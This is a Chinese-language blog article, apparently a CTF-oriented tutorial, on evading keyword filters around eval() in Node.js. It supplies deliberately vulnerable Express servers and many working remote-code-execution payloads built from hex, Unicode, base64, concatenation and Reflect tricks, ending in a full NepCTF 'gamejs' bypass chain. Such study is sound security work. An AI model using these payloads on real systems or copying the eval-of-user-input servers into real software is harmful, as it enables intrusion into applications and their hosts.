Node.js 代码执行绕过技巧与实战解析
本文深入探讨 Node.js 环境中 eval 函数引发的远程代码执行(RCE)漏洞及其绕过技巧。文章首先介绍 child_process 模块,随后详细解析十六进制、Unicode、字符串拼接及模板字符串等多种编码绕过正则过滤的方法。此外,还讲解了利用 Object.keys、Reflect 反射机制以及 Buffer 处理来规避关键字黑名单的高级技巧,并结合 NepCTF 题目进行完整 Payload 构造演示。
在 PHP 领域,eval 代码执行是一个被广泛研究的话题,攻击者常利用各种技巧实现绕过。本文主要聚焦于 Node.js 环境中实现代码执行绕过的思路与方法。
1. child_process 模块
首先介绍 Node.js 中用于执行系统命令的 child_process 模块。该模块通过生成子进程来处理外部任务。child_process 提供了七个方法:execFileSync、spawnSync、execSync、fork、exec、execFile 和 spawn,它们底层均基于 spawn() 方法实现。由于 fork 用于运行独立的子进程文件,此处仅列出除 fork 外其他函数的用法。
require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);
这些函数在底层实现上均调用 spawn,有兴趣的读者可以查阅源码以深入了解。
const child = spawn(file, args, {
cwd: options.cwd,
env: options.env,
gid: options.gid,
uid: options.uid,
shell: options.shell,
windowsHide: !!options.windowsHide,
windowsVerbatimArguments: !!options.windowsVerbatimArguments
});
2. Node.js 中的命令执行
为了演示代码执行过程,构建一个最简化的服务端,代码如下
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
code = req.body.code;
console.log(code);
res.send(eval(code));
})
app.listen(3000)
其原理简单:接收 POST 请求中的 code 参数,并返回 eval(code) 的执行结果。
在 Node.js 中,同样可以使用 eval() 函数执行代码。针对上述 RCE 函数,可以构造如下利用代码执行进行远程命令执行的 Payload。
以下演示均通过 curl 请求本地端口进行。
eval('require("child_process").execSync("curl 127.0.0.1:1234")')
这是最基础的代码执行情况。然而,实际场景中,开发者在使用 eval 且层层调用时,通常会接收用户输入的点进行过滤,不会允许用户输入直接执行。例如,如果过滤了 exec 关键字,该如何绕过?
实际情况不会如此简单,本文仅探讨思路,具体可根据实际过滤的关键字灵活变通。
下面是经过修改的服务端代码,增加了对 exec 关键字的正则检测。
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
function validcode(input) {
var re = new RegExp("exec");
return re.test(input);
}
app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
code = req.body.code;
console.log(code);
if (validcode(code)) {
res.send("forbidden!")
} else {
res.send(eval(code));
}
})
app.listen(3000)
针对此过滤,有 6 种绕过思路:
- 16 进制编码
- Unicode 编码
- 加号拼接
- 模板字符串
- concat 函数连接
- base64 编码
2.1 16 进制编码
第一种思路是利用 16 进制编码。在 Node.js 中,字符串内的 16 进制表示与对应的 ASCII 字符等价(类似于 MySQL 的行为)。
console.log("a"==="\x61");
// true
但在正则匹配时,16 进制不会立即转换为字符,从而可以绕过正则校验。因此可以构造如下 Payload:
require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
2.2 Unicode 编码
思路与上述类似。由于 JavaScript 允许直接使用码点表示 Unicode 字符,格式为“反斜杠+u+码点”,我们可以使用字符的 Unicode 形式来替代原字符。
console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")
2.3 加号拼接
原理简单,加号在 JS 中可用于连接字符串,因此可以这样构造:
require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')
2.4 模板字符串
相关内容可参考 MDN 文档,这里给出一个 Payload:
模板字面量允许嵌入表达式的字符串字面量,支持多行字符串和字符串插值功能。
require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')
2.5 concat 连接
利用 JS 中的 concat 函数连接字符串。
require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")
2.6 base64 编码
这是比较常规的思路。
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())
3. 其他 Bypass 方式
这部分主要换个思路。上述方法最终都是通过编码或拼接得到 exec 关键字,这里考虑利用 JS 的语法和内置函数。
3.1 Object.keys
通过 require 导入的模块实际上是一个 Object,因此可以利用 Object 中的方法来操作获取内容。利用 Object.values 可以拿到 child_process 中的各个函数方法,再通过数组下标即可获取 execSync。
console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
3.2 Reflect
在 JS 中,可以使用 Reflect 关键字来实现反射调用函数。例如,要获取 eval 函数,可以先通过 Reflect.ownKeys(global) 拿到所有函数,然后使用 global[Reflect.ownKeys(global).find(x=>x.includes('eval'))] 即可得到 eval。
console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval
拿到 eval 之后,即可按照常规思路进行 RCE。
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')
这里虽然可能检测到关键字,但由于 mainModule、global、child_process 等关键字都在字符串中,可以利用上述提到的编码方法(如 16 进制)进行绕过。
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')
这里还有一个小技巧:如果过滤了 eval 关键字,可以使用 includes('eva') 来搜索 eval 函数,也可以使用 startsWith('eva') 来搜索。
3.3 过滤中括号的情况
在 3.2 中,获取 eval 的方式是通过 global 数组,其中用到了中括号 []。假如中括号被过滤,可以使用 Reflect.get 来绕过。
Reflect.get(target, propertyKey[, receiver]) 的作用是获取对象身上某个属性的值,类似于 target[name]。
因此,获取 eval 函数的方式可以变为:
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))。
后续拼接上命令执行的 Payload 即可。
4. NepCTF-gamejs
该题目第一步涉及原型链污染,第二步为 eval 命令执行。由于本文主要探讨 eval 的 bypass 方式,故忽略原型链污染部分,仅讨论后半段 bypass,简化后的代码如下:
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
var validCode = function (func_code){
let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
code = req.body.code;
console.log(code);
if (!validCode(code)) {
res.send("forbidden!")
} else {
var d = '(' + code + ')';
res.send(eval(d));
}
})
app.listen(3000)
由于关键字过滤了单双引号,这里可以全部替换为反引号。没有过滤 Reflect,考虑使用反射调用函数实现 RCE。利用上述提到的几点,逐步构造一个非预期的 Payload。首先,由于过滤了 child_process 和 require 关键字,想到的是将内容 base64 编码后再执行。
eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())
这里过滤了 base64,可以直接替换为:
`base`.concat(64)
过滤了 Buffer,可以替换为:
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))
要获取 Buffer.from 方法,可以通过下标:
Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]
但问题在于,关键字还过滤了中括号,这一点很简单,再加一层 Reflect.get。
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)
因此基本 Payload 变为:
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()
但问题在于,这样传过去后,eval 只会进行解码,而不是执行解码后的内容,所以需要再套一层 eval。因为过滤了 eval 关键字,同样考虑用反射获取到 eval 函数。
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())
在能拿到 Buffer.from 的情况下,使用 16 进制编码同样可行。
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428226368696c645f70726f6365737322292e6578656353796e6328226375726c203132372e302e302e313a313233342229`,`he`.concat(`x`)).toString())
当然,由于前面提到的 16 进制和字符串的特性,也可以拿到 eval 后直接传 16 进制字符串。
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)
感觉 Node.js 中对字符串的处理方式太灵活了,如果能 eval 的地方,最好还是不要用字符串黑名单做过滤吧。
感谢我前端大哥 semesse 的帮助。
参考链接
https://xz.aliyun.com/t/9167 https://camp.hackingfor.fun/
总结
到此这篇关于 nodejs 代码执行绕过的一些技巧汇总的文章就介绍到这了,更多相关 nodejs 代码执行绕过内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站!
全栈开发中JavaScript与Java怎么协作?前后端技术栈配合解析
2026-11-04 11:08:24
Node.js官网访问慢?国内镜像加速下载方案
2026-11-03 18:57:24
Node.js 连接 MySQL 数据库实现增删改查操作
2026-11-03 14:31:14
Windows系统安装Node.js:下载、配置与环境验证
2026-11-03 14:15:56
Linux (Ubuntu/CentOS) 环境下安装Node.js的常用方法
2026-11-03 10:18:39
